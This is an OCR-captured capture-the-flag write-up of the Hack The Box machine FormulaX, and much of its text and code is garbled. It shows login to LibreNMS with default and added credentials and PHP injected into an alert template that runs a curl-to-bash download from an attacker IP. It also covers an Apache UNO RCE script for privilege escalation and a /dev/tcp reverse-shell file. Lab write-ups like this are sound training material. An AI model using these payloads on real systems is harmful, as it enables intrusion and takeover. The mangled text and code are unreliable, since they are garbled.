Git Updator X 4 Remo e Execution [ % Online - Ge X @ HackThe Box : Hack The % € Release Releas X LibreNMS
O 0 n7o. in

cs Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

7N

22 LioreNMS

A X4

A

Remember Me
#] Login

Unauthorised access or use shall render the user liable to criminal and/or civil
prosecution.

Although having a different localhost port, accessing the librenms using default login
credentials:
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GOOgle librenms login default

Reddit Php Snmp Videos ocker Images News Shopping

Defaults for the WebUI should be the following: WebUI
(http:/llocalhost:8080) username: librenms. password: D32fwefwer.

How to Get "‘tdtt(—‘dr) Help - LibreNMS Community

Connection refused, seems that new user should be registered again, so adding a new user to
access:

su: Authentication failure

frank_dorky@formulax-$

frank_dorky@formulax

frank_dorky@formulay
fra nk dorky@fo rmulax

frank_dorky@-formulax

Username: “spetsnaz”
Password: “password”

Level: 10 (Authority to access the system)

O O 127.00.0 2gin

s Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Logging in with new user: ,()()\
ID: "Spetsnaz" M3 LIDFENMS
Password: "password"

spetsnaz

sessnnee

The password field is required.

Remember Me
+] Login

Unauthorised access or use shall render the user liable to criminal and/or civil
prosecution
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After logging into librenms, the dashboard is as follows:

O D 127000

Kali Forums <% Kali NetHunter = Exploit-DB

Click on the Edit Dashboard button (next to the list
of dashboards) to add widgets

Remember: You can only move & resize widgets when you're in
Edit Mode.

Manage Users portal, the name of admin is “Kai Relay”:

2 et BB Global Search

¥4 Global Settings
@ validate Config

Manage Users
© Auth History

iption BB Poller
<> APl

@ About LibreNMS
s=araid

Admin real username: “Kai Relay”

@ Manage Users

Username Real Name Access Email Enabled 2F Description Actions

Kal Relay | Admin

Frank Dorky

<
O oopon

- Showing L1a 7 of 7 entries
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Registering librenms server to the VM (Kkali, system) host (/etc/hosts) in the port 3000 to
remove failure:

User

Webserver

FAIL: server_name is set incorrectly for your webserver, update your webserver config. 127.0.0.0 librenms.com

Fix

server_name} 127.0.0.0;

Registering localhost IP to machine:

~[Desktop/spetsnaZ

I

~[Desktop/spetsnaz
Jetc/hosts

CB Contact Us X Git Updator X LibreNMS X LibreNMS

QO & librenm gin

+ Kali Docs Kali Forums &\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

N

50 LibreNMS

A X4

Remember Me
#] Login

Unauthorised access or use shall render the user liable to criminal and/or civil

prosecution.
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Alert Template :: & Docs

Te mplate name

Default Alert Template

Template

{{ salert->title }}
Severity: {{ $alert-=severity }}
@if ($alert->state == 0) Time elapsed: {{ $alert-=elapsed }} @endif
Timestamp: {{ $alert->timestamp }}
Unique-ID: {{ $alert->uid }}
Rule: @if (%alert-=name) {{ $alert-=name }} @else {{ $alert->rule }} @endif
@if ($alert->faults) Faults:
@foreach ($alert->faults as $key => Hvalue)
#{{ $key }}: {{ $value['string'] }}
@endforeach
f@endif
Alert sent to:
@foreach ($alert->contacts as $key => $value)

{{ $value }} <{{ skey }}>
@endforeach

Attach template to rules

Alert title

Recovery title

Update template

Copying the given format as conf.txt:
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Generating new alert to ping the VPN server:

Alert Template :: & Docs

Template name

Default Alert Template

Template

@php
system("ping -c2 10.10.16.76");

@endEhE

Ping successful as requested:

As ping was successful, trying to XSS with the existing bash file.

Alert Template :: & Docs
Template name
Default Alert Template

Template

@php
system("curl http://10.10.16.76/shell.sh|bash");
@endphp

Listened and connection established with librenms:
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~[Desktop/spetsnaz

opriate ioctl fo

‘esolution.

librenn
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Linpeas displayed password for the user kai_relay which consists of root access:

Environment

ychemicalformulaX

StiwmTQ

d:
kai_relay@formulax Sls

&
]

kai_relay@formulax
kai_relay
kai_relay@formulax

{4 J NIUFAS, L
kai_relay@formulax
- x1roc ot
kai_relay@formulax

Got a possibility of having flag in the file as permission have been restricted to limited hosts
and port, which means that SSH tunneling should be done to obtain it

ki I. reiay@formulax lh ce.sh
-T sr/bin/office.sh
kai_relay@formulax ce.sh

1

kai_relay@formulax

Creating a connection between the two users using localhost with assigned port of 2002:
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cd frank_dorky

Is

lin.log

user.txt

nc -v localhost 2002

Connection to localhost (127.0.0.1) 2002 port [tcp/*| succeeded!
eéé'com.sun.star.br'idge.XPlotocolPr'oper'tiesLllpPr'otocoLPlopelties.UrpProtocoLPropertiesTidoing"[[D"[[D|

kai_relay@formulax S sudo -L
sudo: invalid option -- L' ~[Desktop/spetsnaz
usage: sudo -h | -K| -k | -V
usage: sudo -v [-ABknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -1 [-ABknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-ABbEHknPS] [-r role] [-t type] [-C num] [-D directory] [-g group] [-h host] [-p
usage: sudo -e [-ABknS] [-r role] [-t type] [-C num] [-D directory] [-g group] [-h host] [-p
kai_relay@formulax S sudo -1
Matching Defaults entries for kai_relay on forumlax:
env_reset, timestamp_timeout=0, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin

User kai_relay may run the following commands on forumlax:
(ALL) NOPASSWD: [usr/bin/office.sh
kai_relay@formulax S Is -lh fusr/bin/office.sh
-rwxr-xr-x 1 root root 128 Sep 6 2023 [usr/binfoffice.sh
kai_relay@formulax S cat Jusr/bin/office.sh
#!/bin/bash
Jusr/bin/soffice --calc --accept="socket,host=local host,port=2002;urp;" --norestore --nologo
kai_relay@formulax S

Got a script from the following github when googled the error after successful connection for
RCE UNO:

https://github.com/sudOwoodo/ApacheUNO-RCE

mportuno
from com.sun.star.system impert XSystemShellExecute
importargparse

parser = argpa r'se.Ar't_:] umentPa r'SE‘r'{:'
parser.add_argument('--host', help="host to connect to] dest="host required=True)
parser.add_argument('--port} help="port to connect to' dest="port} required=True)

args = parser.parse_args()

localContext = uno.getComponentContext()

ne Iith th

resolver = localContext.ServiceManager.createlnstanceWithContext(
"com.sun.star.bridge.UnoUrlResoclverlocalContext )

print("[+] Connecting to target..)"
context = resolver.resolve(

"uno:socket,host={0},port={1};urp;StarOffice.ComponentConteitfmat(args.host,a rgsl
IEvacut madule and avae a rale

service_manager = context.ServiceManager

print("[+] Connected to {0}format(args.host))

shell_execute = service_manager.createlnstance("com.sun.star.system.SystemShellExecutE"
shell_execute.execute("/dev/shm/shell.sh" ",1)

Without giving permission to file shell.sh, the connection was not built up so therefore changed
the mod and achieved root connection:

frank_dorky@formulaxy S catshell.sh

#!/bin/bash

bash -i >& /dev/tcp[10.10.16.76/9001 0> &1
frank_dorky@formulax S |
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https://github.com/sud0woodo/ApacheUNO-RCE

~[Desktop/spetsnag

[+] Connec
frank_dorky @formulay

frank_dorky@formulay
dorky@formulax
cti target.

home/kai_relay# whoami

whoami

[home/kai_relay# |

Caught Root Flag!
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Machine Pwned at Hack the box (proof):

FormulaX has been Pwned!

Congratulations \@}' Langure9, best of luck in capturing flags ahead!

#1049 17 Mar 2024 60

MACHINE RANK PWN DATE POINTS EARNED

‘ ’ SHARE ‘
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